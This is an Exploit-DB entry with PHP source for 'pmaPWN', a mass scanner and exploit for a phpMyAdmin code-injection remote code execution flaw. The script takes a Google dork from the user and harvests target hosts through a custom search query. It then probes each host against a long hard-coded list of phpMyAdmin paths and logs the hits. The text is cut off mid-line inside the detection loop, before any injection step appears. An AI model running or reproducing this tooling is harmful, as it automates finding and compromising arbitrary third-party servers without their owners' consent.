Exploit-DB #8992
Description: phpMyAdmin - 'pmaPWN!' Code Injection / Remote Code Execution
Type: webapps
Platform: php
Date: 2009-06-22
Author: Hacking Expose!

Exploit:
<?php

$list = array(
'/phpmyadmin/',
'/phpMyAdmin/', 
'/PMA/',
'/pma/', 
'/admin/', 
'/dbadmin/', 
'/mysql/', 
'/myadmin/', 
'/phpmyadmin2/', 
'/phpMyAdmin2/', 
'/phpMyAdmin-2/', 
'/php-my-admin/', 
'/phpMyAdmin-2.2.3/', 
'/phpMyAdmin-2.2.6/', 
'/phpMyAdmin-2.5.1/', 
'/phpMyAdmin-2.5.4/', 
'/phpMyAdmin-2.5.5-rc1/', 
'/phpMyAdmin-2.5.5-rc2/', 
'/phpMyAdmin-2.5.5/', 
'/phpMyAdmin-2.5.5-pl1/', 
'/phpMyAdmin-2.5.6-rc1/', 
'/phpMyAdmin-2.5.6-rc2/', 
'/phpMyAdmin-2.5.6/', 
'/phpMyAdmin-2.5.7/', 
'/phpMyAdmin-2.5.7-pl1/', 
'/phpMyAdmin-2.6.0-alpha/', 
'/phpMyAdmin-2.6.0-alpha2/', 
'/phpMyAdmin-2.6.0-beta1/', 
'/phpMyAdmin-2.6.0-beta2/', 
'/phpMyAdmin-2.6.0-rc1/', 
'/phpMyAdmin-2.6.0-rc2/', 
'/phpMyAdmin-2.6.0-rc3/', 
'/phpMyAdmin-2.6.0/', 
'/phpMyAdmin-2.6.0-pl1/', 
'/phpMyAdmin-2.6.0-pl2/', 
'/phpMyAdmin-2.6.0-pl3/', 
'/phpMyAdmin-2.6.1-rc1/', 
'/phpMyAdmin-2.6.1-rc2/', 
'/phpMyAdmin-2.6.1/', 
'/phpMyAdmin-2.6.1-pl1/', 
'/phpMyAdmin-2.6.1-pl2/', 
'/phpMyAdmin-2.6.1-pl3/', 
'/phpMyAdmin-2.6.2-rc1/', 
'/phpMyAdmin-2.6.2-beta1/', 
'/phpMyAdmin-2.6.2-rc1/', 
'/phpMyAdmin-2.6.2/', 
'/phpMyAdmin-2.6.2-pl1/', 
'/phpMyAdmin-2.6.3/', 
'/phpMyAdmin-2.6.3-rc1/', 
'/phpMyAdmin-2.6.3/', 
'/phpMyAdmin-2.6.3-pl1/', 
'/phpMyAdmin-2.6.4-rc1/', 
'/phpMyAdmin-2.6.4-pl1/', 
'/phpMyAdmin-2.6.4-pl2/', 
'/phpMyAdmin-2.6.4-pl3/', 
'/phpMyAdmin-2.6.4-pl4/', 
'/phpMyAdmin-2.6.4/', 
'/phpMyAdmin-2.7.0-beta1/', 
'/phpMyAdmin-2.7.0-rc1/', 
'/phpMyAdmin-2.7.0-pl1/', 
'/phpMyAdmin-2.7.0-pl2/', 
'/phpMyAdmin-2.7.0/', 
'/phpMyAdmin-2.8.0-beta1/', 
'/phpMyAdmin-2.8.0-rc1/', 
'/phpMyAdmin-2.8.0-rc2/', 
'/phpMyAdmin-2.8.0/', 
'/phpMyAdmin-2.8.0.1/', 
'/phpMyAdmin-2.8.0.2/', 
'/phpMyAdmin-2.8.0.3/', 
'/phpMyAdmin-2.8.0.4/', 
'/phpMyAdmin-2.8.1-rc1/', 
'/phpMyAdmin-2.8.1/', 
'/phpMyAdmin-2.8.2/', 
'/sqlmanager/', 
'/mysqlmanager/', 
'/p/m/a/', 
'/PMA2005/', 
'/pma2005/', 
'/phpmanager/', 
'/php-myadmin/', 
'/phpmy-admin/', 
'/webadmin/', 
'/sqlweb/', 
'/websql/', 
'/webdb/', 
'/mysqladmin/', 
'/mysql-admin/',
);

if($argc > 1) {
	print "|****************************************************************|\n";
	print "        pmaPWN.php - d3ck4, hacking.expose@gmail.com\n";
	print "       phpMyAdmin Code Injection RCE Scanner & Exploit\n";
	print "  This is PHP version original http://milw0rm.com/exploits/8921\n";
	print "           credit: Greg Ose, pagvac @ gnucitizen.org\n";
	print "        greetz: Hacking Expose!, HM Security, darkc0de\n";
	print "|****************************************************************|\n";
	print "\n";
	print "Usage: php $argv[0] \n";
	exit;
}

	print "|****************************************************************|\n";
	print "        pmaPWN.php - d3ck4, hacking.expose@gmail.com\n";
	print "       phpMyAdmin Code Injection RCE Scanner & Exploit\n";
	print "  This is PHP version original http://milw0rm.com/exploits/8921\n";
	print "           credit: Greg Ose, pagvac @ gnucitizen.org\n";
	print "        greetz: Hacking Expose!, HM Security, darkc0de\n";
	print "|****************************************************************|\n";
	print "\n";
	$Handlex = FOpen("pmaPWN.log", "a+");
	FWrite($Handlex, "|****************************************************************|\n");
	FWrite($Handlex, "        pmaPWN.php - d3ck4, hacking.expose@gmail.com\n");
	FWrite($Handlex, "       phpMyAdmin Code Injection RCE Scanner & Exploit\n");
	FWrite($Handlex, "  This is PHP version original http://milw0rm.com/exploits/8921\n");
	FWrite($Handlex, "           credit: Greg Ose, pagvac @ gnucitizen.org\n");
	FWrite($Handlex, "        greetz: Hacking Expose!, HM Security, darkc0de\n");
	FWrite($Handlex, "|****************************************************************|\n\n");
    print "[-] Master, where you want to go today? \n";
	print "[-] example dork: intitle:phpMyAdmin \n";
    fwrite(STDOUT, "\n[ pwn3r@google ~] ./dork -s ");
    $dork = trim(fgets(STDIN));
    print "\n[!] QUERY: SELECT * FROM `googledb` WHERE `keyword` = '$dork'\n";
	FWrite($Handlex, "[!] QUERY: SELECT * FROM `googledb` WHERE `keyword` = '$dork'\n");
    for($i = 0; $i <= 900; $i+=100) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://www.google.com/cse?cx=[PII_REDACTED][PII_REDACTED]3%3Awdba3dlnxqm&q=$dork&num=100&hl=en&as_qdr=all&start=$i&sa=N");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 200);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_REFERER, "http://google.com");
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9');
    $pg = curl_exec($ch);
	curl_close($ch);

    if (preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", $pg, $links)) { $res[] = $links[2]; }
	}
	
    foreach($res as $key) {
        foreach($key as $target) {
            $total++;
        }
    }
    print "[+] Done. $total rows return.\n";
	FWrite($Handlex, "[+] Done. $total rows return.\n");
	FClose($Handlex);
    foreach($res as $key) {
        foreach($key as $target) {
			$Handlex = FOpen("pmaPWN.log", "a+");
			$real = parse_url($target);
			$url = "http://".$real['host'];
			print "\n[-] Scanning phpMyAdmin on ".$url."\n";
			FWrite($Handlex, "\n[-] Scanning phpMyAdmin on ".$url."\n");
			FClose($Handlex);
			sleep(5);
			$curlHandle = curl_multi_init();
			for ($i = 0;$i < count($list); $i++)
			$curl[$i] = addHandle($curlHandle,$url.$list[$i]);
			ExecHandle($curlHandle);
			for ($i = 0;$i < count($list); $i++)
			{			
				$text[$i] =  curl_multi_getcontent ($curl[$i]);
				//echo $url.$list[$i]."\n";
				$Handlex = FOpen("pmaPWN.log", "a+");
				if (preg_match("/<title>phpMyAdmin/", $text[$i]) or preg_match("/<title>Access denied/", $text[$i]) and preg_match("/phpMyAdmin/", $text[$